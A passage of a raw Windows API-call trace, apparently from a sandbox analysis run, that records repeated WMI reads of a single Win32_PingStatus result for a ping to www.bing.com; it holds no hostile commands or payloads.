plFlavor=0x2883950*=64) returned 0x0 [0140.287] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883974*=0, plFlavor=0x2883978*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2883974*=8, plFlavor=0x2883978*=64) returned 0x0 [0140.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.287] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.288] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28839cc*=0, plFlavor=0x28839d0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28839cc*=8, plFlavor=0x28839d0*=64) returned 0x0 [0140.288] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.288] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.288] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883ba4*=0, plFlavor=0x2883ba8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2883ba4*=3, plFlavor=0x2883ba8*=64) returned 0x0 [0140.288] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883bd8*=0, plFlavor=0x2883bdc*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2883bd8*=8200, plFlavor=0x2883bdc*=64) returned 0x0 [0140.288] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883c0c*=0, plFlavor=0x2883c10*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2883c0c*=8, plFlavor=0x2883c10*=64) returned 0x0 [0140.288] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.289] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.289] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883c58*=0, plFlavor=0x2883c5c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2883c58*=8, plFlavor=0x2883c5c*=64) returned 0x0 [0140.289] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.289] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.289] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883ca4*=0, plFlavor=0x2883ca8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2883ca4*=8, plFlavor=0x2883ca8*=64) returned 0x0 [0140.289] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.289] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0140.289] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0140.289] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.289] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResponseTime", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2883ed8*=0, plFlavor=0x2883edc*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), pType=0x2883ed8*=19, plFlavor=0x2883edc*=0) returned 0x0 [0140.289] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.290] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.290] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.290] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.290] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.290] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0140.290] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.290] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.290] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0140.290] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.290] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.290] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.290] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.290] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.290] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.290] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.290] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.290] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.290] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.291] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.291] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.291] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.291] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.291] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.291] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.291] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.291] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.291] SysStringByteLen (bstr="__PATH") returned 0xc [0140.291] SysStringByteLen (bstr="__PATH") returned 0xc [0140.291] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288428c*=0, plFlavor=0x2884290*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x288428c*=3, plFlavor=0x2884290*=64) returned 0x0 [0140.291] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28842c0*=0, plFlavor=0x28842c4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28842c0*=8, plFlavor=0x28842c4*=64) returned 0x0 [0140.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.291] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.292] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884318*=0, plFlavor=0x288431c*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884318*=8, plFlavor=0x288431c*=64) returned 0x0 [0140.292] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884340*=0, plFlavor=0x2884344*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2884340*=8, plFlavor=0x2884344*=64) returned 0x0 [0140.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.292] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.292] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884398*=0, plFlavor=0x288439c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2884398*=8, plFlavor=0x288439c*=64) returned 0x0 [0140.292] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.292] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.292] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288457c*=0, plFlavor=0x2884580*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x288457c*=3, plFlavor=0x2884580*=64) returned 0x0 [0140.293] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28845b0*=0, plFlavor=0x28845b4*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28845b0*=8200, plFlavor=0x28845b4*=64) returned 0x0 [0140.293] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28845e4*=0, plFlavor=0x28845e8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28845e4*=8, plFlavor=0x28845e8*=64) returned 0x0 [0140.293] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.293] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.293] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884630*=0, plFlavor=0x2884634*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2884630*=8, plFlavor=0x2884634*=64) returned 0x0 [0140.293] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.293] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.293] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288467c*=0, plFlavor=0x2884680*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x288467c*=8, plFlavor=0x2884680*=64) returned 0x0 [0140.294] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.294] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.294] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0140.294] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0140.294] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.294] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResponseTime", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28848b0*=0, plFlavor=0x28848b4*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), pType=0x28848b0*=19, plFlavor=0x28848b4*=0) returned 0x0 [0140.294] IWbemClassObject:Get (in: This=0x5ccc608, wszName="ResponseTime", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28848b0*=19, plFlavor=0x28848b4*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), pType=0x28848b0*=19, plFlavor=0x28848b4*=0) returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.295] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.295] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0140.296] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.296] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.296] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0140.297] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.297] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.297] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.297] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.297] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.297] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.297] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.297] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.297] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.297] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.297] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.297] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.297] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.297] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.297] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.297] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.297] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.298] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.298] SysStringByteLen (bstr="__PATH") returned 0xc [0140.298] SysStringByteLen (bstr="__PATH") returned 0xc [0140.298] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884d5c*=0, plFlavor=0x2884d60*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2884d5c*=3, plFlavor=0x2884d60*=64) returned 0x0 [0140.298] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884d90*=0, plFlavor=0x2884d94*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2884d90*=8, plFlavor=0x2884d94*=64) returned 0x0 [0140.298] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.298] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.298] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884de8*=0, plFlavor=0x2884dec*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884de8*=8, plFlavor=0x2884dec*=64) returned 0x0 [0140.298] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884e10*=0, plFlavor=0x2884e14*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2884e10*=8, plFlavor=0x2884e14*=64) returned 0x0 [0140.299] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.299] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.299] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2884e68*=0, plFlavor=0x2884e6c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2884e68*=8, plFlavor=0x2884e6c*=64) returned 0x0 [0140.299] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.299] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.299] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885040*=0, plFlavor=0x2885044*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2885040*=3, plFlavor=0x2885044*=64) returned 0x0 [0140.299] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885074*=0, plFlavor=0x2885078*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2885074*=8200, plFlavor=0x2885078*=64) returned 0x0 [0140.300] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28850a8*=0, plFlavor=0x28850ac*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28850a8*=8, plFlavor=0x28850ac*=64) returned 0x0 [0140.300] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.300] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.300] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28850f4*=0, plFlavor=0x28850f8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28850f4*=8, plFlavor=0x28850f8*=64) returned 0x0 [0140.300] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.300] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.300] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885140*=0, plFlavor=0x2885144*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2885140*=8, plFlavor=0x2885144*=64) returned 0x0 [0140.300] SysStringByteLen 